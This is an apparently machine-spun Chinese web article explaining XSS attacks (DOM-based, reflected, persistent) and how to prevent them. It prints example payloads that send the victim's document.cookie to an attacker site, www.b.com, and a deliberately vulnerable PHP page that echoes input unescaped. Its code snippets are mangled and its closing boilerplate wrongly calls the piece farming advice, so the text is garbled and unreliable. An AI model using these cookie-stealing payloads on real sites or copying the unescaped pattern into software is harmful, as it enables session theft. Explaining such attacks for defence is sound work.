1. 首页
  2. 综合百科
  3. 什么是XSS攻击 该如何防范

什么是XSS攻击 该如何防范

简介:关于什么是XSS攻击 该如何防范的相关疑问,相信很多朋友对此并不是非常清楚,为了帮助大家了解相关知识要点,小编为大家整理出如下讲解内容,希望下面的内容对大家有帮助!
如果有更好的建议或者想看更多关于综合百科技术大全及相关资讯,可以多多关注茶馆百科网。

文章目录

什么是XSS?XSS漏洞分类DOMXSS反射漏洞持久性XSS漏洞汇总热门答案:

什么是XSS?

XSS。这叫做跨站脚本,意思是跨站脚本攻击。为了区别于CSS:CascadingStyleSheets (CSS)。所以它的简称改成了XSS。

XSS攻击的原理是恶意攻击者在网页中插入恶意脚本。当用户浏览页面时。将执行嵌入的脚本代码。从而达到攻击的目的。通常攻击者会通过XSS攻击窃取用户的私人信息。

黑客诱导受害者点击恶意网址

XSS漏洞分类

,攻击者就有了可乘之机。这是因为网络系统中存在漏洞,可以被XSS攻击所利用。XSS漏洞主要分为持续性XSS漏洞和非持续性XSS漏洞。

非持久性XSS漏洞意味着用于攻击的XSS脚本不会被后端保存在服务器或数据库中。攻击方式不止一种。比如DOMXSS漏洞,反射漏洞等等。

DOMXSS

基于DOM的XSS漏洞是基于文档对象模型(DOM :)的漏洞。触发通常由传入参数的url控制。比如网页上有这样一段javascript代码:script document . write(location . href . substring(location . href . index of(' default=')8));/script这段代码的初衷是取出url中默认参数的值。然后显示在页面上。但这样会带来一个问题:如果default的值是一个包装在script标签中的js代码。它也将被加载和执行。

基于这个漏洞。攻击者可以设计一个诱导用户点击的网址:http://www.a.com?default=script window . open(" www . b.com?param=" document.cookie)/script

一旦用户的浏览器打开这个url。会运行这行脚本:window.open ("www.b.com?param=" document.cookie)

那就是,打开b.com网站。将用户的cookie信息发送到b.com。B.com是攻击者建立的网站。当b.com网站收到这些信息时。攻击者窃取了用户的cookie信息。

反射性漏洞

反射攻击

DOMXSS漏洞的攻击完全基于浏览器。基于发射漏洞的攻击也会通过后端。攻击路径是:从浏览器到后端。然后反映到浏览器上。

下面一页php代码。是一次反射性XSS攻击的演示。' form action=' ' ' method=' ' get ' input type=' text ' name=' XSS '/input type=' submit ' value=' test '/form?PHP $ XSS=@ $ _ GET[' XSS '];如果($xss!==null){echo$xss}?这段代码首先包含一个表单。提交表单并向后端发送GET请求。带有一个名为xss的参数。

PHP代码读取xss参数。如果不是空的。然后直接打印出来。如果xss中有HTML结构化内容。打印后会被浏览器直接渲染成HTML元素。

我们直接在表单输入框中输入一个js代码。比如scriptalert ('hack')/script。提交后。将弹出一个对话框。我们被袭击了。

网页被攻击了。

现在让我们来看看浏览器中的HTML代码。发现脚本已经被注入。

红色区域是注入的XSS脚本。

以防止非持续性XSS漏洞。尝试执行以下操作:

尽量不要从网址下载。document.referrer .从document.forms获取数据并直接呈现。尽量不要用eval(),document.write()。document.writeln().element.innerHTML .Document.createElement()和其他可能执行XSS代码的方法。涉及DOM呈现的方法传入的转义字符串参数。也就是打破HTML语法。目的只是为了显示而不是执行任何脚本。

持久性XSS漏洞

持续性XSS漏洞一般存在于表单提交等交互功能中。如发帖、留言、提交文字信息等。攻击者正常提交用于攻击的内容。输入持久存储的数据库。前台通过后端从数据库中读取注入的代码后。浏览器恰好渲染了它。

例如,在博客网站上发布文章。文章包括一个可执行代码scriptwindow.open ("www.b.com?param=" document.cookie)/script .以便大家打开这篇文章。

章的人的cookie信息都会被发送到b.com上。
持久性XSS漏洞被攻击有以下几个必要条件
POST请求提交表单后端没做转义直接入库后端从数据库中取出数据没做转义直接输出给前端前端拿到后端数据没做转义直接渲染页面防止出现持久性XSS漏洞。需要前后端的配合。要做到以下几点
后端在数据入库时。不能相信任何前端数据。将所有的字段统一进行转义处理。后端对返回给前端的数据统一进行转义处理。前端在渲染页面的时候不能相信任何后端数据。任何字段都需要做转义处理。它与SQL注入攻击类似。SQL注入攻击中以SQL语句作为用户输入。从而达到查询/修改/删除数据的目的。而在xss攻击中。通过插入恶意脚本。实现对用户游览器的控制。获取用户的一些信息。
与反射性攻击相比。持久性XSS漏洞攻击路径要更长:浏览器->后端->数据库->后端->浏览器。

总结

非持久型xss攻击是一次性的。仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接。用户访问该链接时。被植入的攻击脚本被用户浏览器执行。从而达到攻击目的。
非持久性XSS漏洞主要有以下几个特点
不经过服务器储存通常需要诱导用户点击恶意url反馈率低。难以发现和修复持久型xss攻击会把攻击者的数据存储在服务器端。攻击行为将伴随着攻击数据一直存在。
现在国内比较流行的前端开发框架是vue框架。如果使用vue框架来开发前端应用。那么要防止XSS攻击需要注意以下两点:
尽量使用插值表达式{{}}。它会把要显示的内容转为字符串。如果使用v-html。要保证来自服务端的渲染数据都是安全的。

本文主要介绍了关于什么是XSS攻击 该如何防范的相关养殖或种植技术,综合百科栏目还介绍了该行业生产经营方式及经营管理,关注综合百科发展动向,注重系统性、科学性、实用性和先进性,内容全面新颖、重点突出、通俗易懂,全面给您讲解综合百科技术怎么管理的要点,是您综合百科致富的点金石。
以上文章来自互联网,不代表本人立场,如需删除,请注明该网址:http://seotea.com/article/884165.html